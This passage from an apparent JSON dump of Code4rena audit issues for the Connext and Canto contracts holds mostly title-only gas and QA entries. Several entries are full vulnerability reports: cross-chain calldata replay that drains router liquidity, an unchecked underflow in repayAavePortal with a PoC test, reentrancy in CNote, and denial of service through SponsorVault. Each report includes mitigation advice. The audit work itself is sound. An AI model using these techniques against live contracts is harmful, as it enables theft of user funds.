RoutersFacet__removeRouterLiquidityFor_notOwner(); // Remove liquidity _removeLiquidityForRouter(_amount, _local, _to, _router); } ``` Since the `RoutersFacet.removeRouter` function has earlier erased all information related to Alice's router within `s.routerPermissionInfo`, the `getRouterOwner` function will always return the router address. In this case, the router address will not match against `msg.sender` address/Alice address, thus Alice attempts to call `removeRouterLiquidityFor` will always revert. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L212](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/RoutersFacet.sol#L212) ```solidity function getRouterOwner(address _router) public view returns (address) { address _owner = s.routerPermissionInfo.routerOwners[_router]; return _owner == address(0) ? _router : _owner; } ``` ## Impact Router owner who provides liquidity could be rugged by Connext admin. When this happen, the router owner funds will be struck within the `RoutersFacet` contract, and there is no way for the router owner to retrieve their liquidity. In the worst case scenario, a compromised Connext admin could remove all routers, and cause all liquidity to be struck within `RoutersFacet` and no router owner could withdraw their liquidity from the contract. Next, the `RouterFacet` contract could be upgraded to include additional function to withdraw all liquidity from the contract to an arbitrary wallet address. ## Recommended Mitigation Steps The router owner is still entitled to their own liquidity even though their router has been removed by Connext Admin. Thus, they should be given the right to take back their liquidity when such an event happens. The contract should update its implementation to support this. This will give more assurance to the router owner. "}, {"title": "Malicious Relayer Could Cause A Router To Provide More Liquidity Than It Should", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/149", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "Malicious Relayer Could Cause A Router To Provide More Liquidity Than It Should"}, {"title": "Malicious Relayers Could Favor Their Routers", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/147", "labels": ["bug", "2 (Med Risk)"], "target": "2022-06-connext-findings", "body": "Malicious Relayers Could Favor Their Routers"}, {"title": "Single Error Within SponsorVault Contract Could Cause Entire Cross-Chain Communication To Break Down", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/146", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L819](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L819 # Vulnerability details ## Proof-of-Concept A third party sponsor would need to implement a `SponsorVault` contract that is aligned with the `ISponsorVault` interface. Assume that a `SponsorVault` contract has been defined on Optimism chain. All cross-chain communications are required to call the `BridgeFacet.execute`, which in turn will trigger the `BridgeFacet._handleExecuteTransaction` internal function. However, if there is an error within `SponsorVault` contract in Optimism causing a revert when `s.sponsorVault.reimburseLiquidityFees` or `s.sponsorVault.reimburseRelayerFees` is called, the entire `execute` transaction will revert. Since `execute` transaction always revert, any cross-chain communication between Optimism and other domains will fail. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L819](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L819) ```solidity /** * @notice Process the transfer, and calldata if needed, when calling `execute` * @dev Need this to prevent stack too deep */ function _handleExecuteTransaction( ExecuteArgs calldata _args, uint256 _amount, address _asset, // adopted (or local if specified) bytes32 _transferId, bool _reconciled ) private returns (uint256) { // If the domain if sponsored if (address(s.sponsorVault) != address(0)) { // fast liquidity path if (!_reconciled) { // Vault will return the amount of the fee they sponsored in the native fee // NOTE: some considerations here around fee on transfer tokens and ensuring // there are no malicious `Vaults` that do not transfer the correct amount. Should likely do a // balance read about it uint256 starting = IERC20(_asset).balanceOf(address(this)); uint256 sponsored = s.sponsorVault.reimburseLiquidityFees(_asset, _args.amount, _args.params.to); // Validate correct amounts are transferred if (IERC20(_asset).balanceOf(address(this)) != starting + sponsored) { revert BridgeFacet__handleExecuteTransaction_invalidSponsoredAmount(); } _amount = _amount + sponsored; } // Should dust the recipient with the lesser of a vault-defined cap or the converted relayer fee // If there is no conversion available (i.e. no oracles for origin domain asset <> dest asset pair), // then the vault should just pay out the configured constant s.sponsorVault.reimburseRelayerFees(_args.params.originDomain, payable(_args.params.to), _args.params.relayerFee); } ..SNIP.. ``` ## Impact It will result in denial of service. The `SponsorVault` contract, which belongs to a third-party, is a single point of failure for a domain. ## Recommended Mitigation Steps This is a problem commonly encountered whenever a method of a smart contract calls another contract \u2013 we cannot rely on the other contract to work 100% of the time, and it is dangerous to assume that the external call will always be successful. Additionally, external smart contract might be vulnerable and compromised by an attacker. Even if the team has audited or review the SponsorVault before whitelisting them, some risk might still exist. Therefore, it is recommended to implement a fail-safe design where failure of an external call to SponsorVault will not disrupt the cross-chain communication. Consider implementing a try-catch block as shown below. If there is any issue with the external `SponsorVault ` contract, no funds are reimbursed to the users in the worst case scenario, but the issue will not cause any impact to the cross-chain communication. ```diff function _handleExecuteTransaction( ExecuteArgs calldata _args, uint256 _amount, address _asset, // adopted (or local if specified) bytes32 _transferId, bool _reconciled ) private returns (uint256) { // If the domain if sponsored if (address(s.sponsorVault) != address(0)) { // fast liquidity path if (!_reconciled) { // Vault will return the amount of the fee they sponsored in the native fee // NOTE: some considerations here around fee on transfer tokens and ensuring // there are no malicious `Vaults` that do not transfer the correct amount. Should likely do a // balance read about it uint256 starting = IERC20(_asset).balanceOf(address(this)); + try s.sponsorVault.reimburseLiquidityFees(_asset, _args.amount, _args.params.to) returns (uint256 sponsored) { + // Validate correct amounts are transferred + if (IERC20(_asset).balanceOf(address(this)) != starting + sponsored) { + revert BridgeFacet__handleExecuteTransaction_invalidSponsoredAmount(); + } + + _amount = _amount + sponsored; + } catch {} } // Should dust the recipient with the lesser of a vault-defined cap or the converted relayer fee // If there is no conversion available (i.e. no oracles for origin domain asset <> dest asset pair), // then the vault should just pay out the configured constant + try s.sponsorVault.reimburseRelayerFees(_args.params.originDomain, payable(_args.params.to), _args.params.relayerFee) {} catch {} ..SNIP.. ``` "}, {"title": "Router Owner Could Steal All The Funds Within SponsorVault", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/145", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "Router Owner Could Steal All The Funds Within SponsorVault"}, {"title": "Malicious Relayer Can Replay Execute Calldata On Different Chains Causing Double-Spend Issue", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/144", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L411 # Vulnerability details ## Proof-of-Concept > This issue is only applicable for fast-transfer. Slow transfer would not have this issue because of the built-in fraud-proof mechanism in Nomad. First, the attacker will attempt to use Connext to send `1000 USDC` from Ethereum domain to Optimism domain. Assume that the attacker happens to be a relayer on the relayer network utilised by Connext, and the attacker's relayer happens to be tasked to relay the above execute calldata to the Optimism's Connext [`BridgeFacet.execute`](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L411) function. Optimism's Connext `BridgeFacet.execute` received the execute calldata and observed within the calldata that it is a fast-transfer and Router A is responsible for providing the liquidity. It will then check that the router signature is valid, and proceed to transfer `1000 oUSDC` to attacker wallet (0x123456) in Optimism. Next, attacker will update the `ExecuteArgs.local` within the execute calldata to a valid local representation of canonical token (USDC) used within Polygon. Attacker will then send the modified execute calldata to Polygon's Connext `BridgeFacet.execute` function. Assume that the same Router A is also providing liquidity in Polygon. The `BridgeFacet.execute` function checks that the router signature is valid, and proceed to transfer `1000 POS-USDC` to atttack wallet (0x123456) in Polygon. At this point, the attacker has `1000 oUSDC` and `1000 POS-USDC` in his wallets. When the nomad message arrives at Optimism, Router A can claim the `1000 oUSDC` back from Connext. However, Router A is not able to claim back any fund in Polygon. Note that same wallet address exists on different chains. For instance, the wallet address on Etherum and Polygon is the same. ### Why changing the `ExecuteArgs.local` does not affect the router signature verification? This is because the router signature is generated from the `transferId` + `pathLength` only, and these data are stored within the `CallParams params` within the `ExecuteArgs` struct. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/libraries/LibConnextStorage.sol#L77](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/libraries/LibConnextStorage.sol#L77) ```solidity struct ExecuteArgs { CallParams params; address local; // local representation of canonical token address[] routers; bytes[] routerSignatures; uint256 amount; uint256 nonce; address originSender; } ``` Within the [`BridgeFacet._executeSanityChecks`](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L411) function, it will attempt to rebuild to `transferId` by calling the following code: ```solidity // Derive transfer ID based on given arguments. bytes32 transferId = _getTransferId(_args); ``` Within the [`BridgeFacet._getTransferId`](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L719) function, we can see that the `s.tokenRegistry.getTokenId(_args.local)` will always return the canonical `tokenDomain` and `tokenId`. In our example, it will be `Ethereum` and `USDC`. Therefore, as long as the attacker specify a valid local representation of canonical token on a chain, the `transferId` returned by `s.tokenRegistry.getTokenId(_args.local)` will always be the same across all domains. Thus, this allows the attacker to modify the `ExecuteArgs.local` and yet he could pass the router signature check. [https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L719](https://github.com/code-423n4/2022-06-connext/blob/4dd6149748b635f95460d4c3924c7e3fb6716967/contracts/contracts/core/connext/facets/BridgeFacet.sol#L719) ```solidity function _getTransferId(ExecuteArgs calldata _args) private view returns (bytes32) { (uint32 tokenDomain, bytes32 tokenId) = s.tokenRegistry.getTokenId(_args.local); return _calculateTransferId(_args.params, _args.amount, _args.nonce, tokenId, tokenDomain, _args.originSender); } ``` ## Impact Router liquidity would be drained by attacker, and affected router owner could not claim back their liquidity. ## Recommended Mitigation Steps The security of the current Connext design depends on how secure or reliable the relayer is. If the relayer turns rouge or act against Connext, many serious consequences can happen. The root cause is that the current design places enormous trust on the relayers to accurately and reliably to deliver calldata to the bridge in various domains. For instance, delivering of execute call data to `execute` function. There is an attempt to prevent message replay on a single domain, however, it does not prevent message replay across multiple domains. Most importantly, the Connext's bridge appears to have full trust on the calldata delivered by the relayer. However, the fact is that the calldata can always be altered by the relayer. Consider a classic 0x off-chain ordering book protocol. A user will sign his order with his private key, and attach the signature to the order, and send the order (with signature) to the relayer network. If the relayer attempts to tamper the order message or signature, the decoded address will be different from the signer's address and this will be detected by 0x's Smart contract on-chain when processing the order. This ensures that the integrity of the message and signer can be enforced. Per good security practice, relayer network should always be considered as a hostile environment/network. Therefore, it is recommended that similar approach could be taken with regards to passing execute calldata across domains/chains. For instance, at a high level, the sequencer should sign the execute calldata with its private key, and attach the signature to the execute calldata. Then, submit the execute calldata (with signature) to the relayer network. When the bridge receives the execute calldata (with signature), it can verify if the decoded address matches the sequencer address to ensure that the calldata has not been altered. This will ensure the intergrity of the execute calldata and prevent any issue that arise due to unauthorised modification of calldata. Additionally, the execute calldata should also have a field that correspond to the destination domain. The bridge that receives the execute calldata must verify that the execute calldata is intended for its domain, otherwise reject the calldata if it belongs to other domains. This also helps to prevent the attack mentioned earlier where same execute calldata can be accepted in different domains. "}, {"title": "Routers Are Not Enforced To Repay AAVE Portal Loan", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/143", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "Routers Are Not Enforced To Repay AAVE Portal Loan"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Repaying AAVE Loan in `_local` rather than `adopted` asset", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/103", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L80 # Vulnerability details ## Impact When repaying the AAVE Portal in [`repayAavePortal()`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L80) the `_local` asset is used to repay the loan in `_backLoan()` rather than the `adopted` asset. This is likely to cause issues in production when actually repaying loans if the asset/token being repayed to AAVE is not the same as the asset/token that was borrowed. ## Proof of Concept The comment on [`L93`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L93) of [`PortalFacet.sol`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol) states; ``` // Need to swap into adopted asset or asset that was backing the loan // The router will always be holding collateral in the local asset while the loaned asset // is the adopted asset ``` The swap is executed on [`L98`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L98) in the call to `AssetLogic.swapFromLocalAssetIfNeededForExactOut()` however the return value `adopted` is never used (it's an unused local variable). The full function is shown below; ``` // Swap for exact `totalRepayAmount` of adopted asset to repay aave (bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut( _local, totalAmount, _maxIn ); if (!success) revert PortalFacet__repayAavePortal_swapFailed(); // decrement router balances unchecked { s.routerBalances[msg.sender][_local] -= amountIn; } // back loan _backLoan(_local, _backingAmount, _feeAmount, _transferId); ``` The balance of the `_local` token is reduced but instead of the `adopted` token being passed to [`_backLoan()`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L112) in L112 the `_local` token is used. ## Tools Used Vim ## Recommended Mitigation Steps To be consistent with the comments in the [`repayAavePortal()`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L80) function `adopted` should be passed to `_backLoan` so that the loan is repayed in the appropriate token. Remove the reference to `_local` in the [`_backLoan()`](https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L112) function and replace it with `adopted` so it reads; `_backLoan(adopted, _backingAmount, _feeAmount, _transferId);` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Incorrect Adopted mapping on updating wrapper token", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/AssetFacet.sol#L100 # Vulnerability details ## Issue 1. Admin can call setWrapper function to setup a new wrapper Y instead of old wrapper X 2. This becomes a problem for any old asset which was setup during setupAsset call where s.canonicalToAdopted[_canonical.id] will still point to old wrapper X instead of Y ## Recommendation If wrapper is changed then all variables storing this wrapper should also update "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "`PortcalFacet.repayAavePortal()` can trigger an underflow of `routerBalances`", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/68", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L80-L113 # Vulnerability details ## Impact The caller of `repayAavePortal()` can trigger an underflow to arbitrarily increase the caller's balance through an underflow. ## Proof of Concept ```sol // Relevant code sections: // PortalFacet.sol function repayAavePortal( address _local, uint256 _backingAmount, uint256 _feeAmount, uint256 _maxIn, bytes32 _transferId ) external { uint256 totalAmount = _backingAmount + _feeAmount; // in adopted uint256 routerBalance = s.routerBalances[msg.sender][_local]; // in local // Sanity check: has that much to spend if (routerBalance < _maxIn) revert PortalFacet__repayAavePortal_insufficientFunds(); // Need to swap into adopted asset or asset that was backing the loan // The router will always be holding collateral in the local asset while the loaned asset // is the adopted asset // Swap for exact `totalRepayAmount` of adopted asset to repay aave (bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut( _local, totalAmount, _maxIn ); if (!success) revert PortalFacet__repayAavePortal_swapFailed(); // decrement router balances unchecked { s.routerBalances[msg.sender][_local] -= amountIn; } // back loan _backLoan(_local, _backingAmount, _feeAmount, _transferId); } // AssetLogic.sol function swapFromLocalAssetIfNeededForExactOut( address _asset, uint256 _amount, uint256 _maxIn ) internal returns ( bool, uint256, address ) { AppStorage storage s = LibConnextStorage.connextStorage(); // Get the token id (, bytes32 id) = s.tokenRegistry.getTokenId(_asset); // If the adopted asset is the local asset, no need to swap address adopted = s.canonicalToAdopted[id]; if (adopted == _asset) { return (true, _amount, _asset); } return _swapAssetOut(id, _asset, adopted, _amount, _maxIn); } ``` First, call `repayAavePortal()` where `_backingAmount + _feeAmount > s.routerBalances[msg.sender][_local] && _maxIn > s.routerBalances[msg.sender][_local]`. That will trigger the call to the AssetLogic contract: ```sol (bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut( _local, totalAmount, _maxIn ); ``` By setting `_local` to the same value as the adopted asset, you trigger the following edge case: ```sol address adopted = s.canonicalToAdopted[id]; if (adopted == _asset) { return (true, _amount, _asset); } ``` So the `amountIn` value returned by `swapFromLocalAssetIfNeededForExactOut()` is the `totalAmount` value that was passed to it. And `totalAmount == _backingAmount + _feeAmount`. Meaning the `amountIn` value is user-specified for this edge case. Finally, we reach the following line: ```sol unchecked { s.routerBalances[msg.sender][_local] -= amountIn; } ``` `amountIn` (user-specified) is subtracted from the `routerBalances` in an `unchecked` block. Thus, the attacker is able to trigger an underflow and increase their balance arbitrarily high. The `repayAavePortal()` function only verifies that `routerBalance < _maxIn`. Here's a test as PoC: ```sol // PortalFacet.t.sol function test_PortalFacet_underflow() public { s.routerPermissionInfo.approvedForPortalRouters[router] = true; uint backing = 2 ether; uint fee = 10000; uint init = 1 ether; s.routerBalances[router][_local] = init; s.portalDebt[_id] = backing; s.portalFeeDebt[_id] = fee; vm.mockCall(s.aavePool, abi.encodeWithSelector(IAavePool.backUnbacked.selector), abi.encode(true)); vm.prank(router); this.repayAavePortal(_local, backing, fee, init - 0.5 ether, _id); // balance > init => underflow require(s.routerBalances[router][_local] > init); } ``` ## Tools Used none ## Recommended Mitigation Steps After the call to `swapFromLocalAssetIfNeededForExactOut()` you should add the following check: ```sol if (_local == adopted) { require(routerBalance >= amountIn); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/24", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/6", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-connext-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-06-connext-findings", "body": "QA Report"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-connext-findings/issues/1", "labels": [], "target": "2022-06-connext-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/317", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/315", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "CNote updates the accounts after sending the funds, allowing for reentrancy", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/311", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/2d423c7c3f62d65182d802deb99cc7bba4e057fd/contracts/CNote.sol#L70-L87 # Vulnerability details Having no reentrancy control and updating the records after external interactions allows for funds draining by reentrancy. Setting the severity to medium as this is conditional to transfer flow control introduction on future upgrades, but the impact is up to the full loss of the available funds by unrestricted borrowing. ## Proof of Concept CNote runs doTransferOut before borrowing accounts are updated: https://github.com/Plex-Engineer/lending-market/blob/2d423c7c3f62d65182d802deb99cc7bba4e057fd/contracts/CNote.sol#L70-L87 ``` /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); require(getCashPrior() == 0,\"CNote::borrowFresh: Error in doTransferOut, impossible Liquidity in LendingMarket\"); //Amount minted by Accountant is always flashed from account /* We write the previously calculated values into storage */ 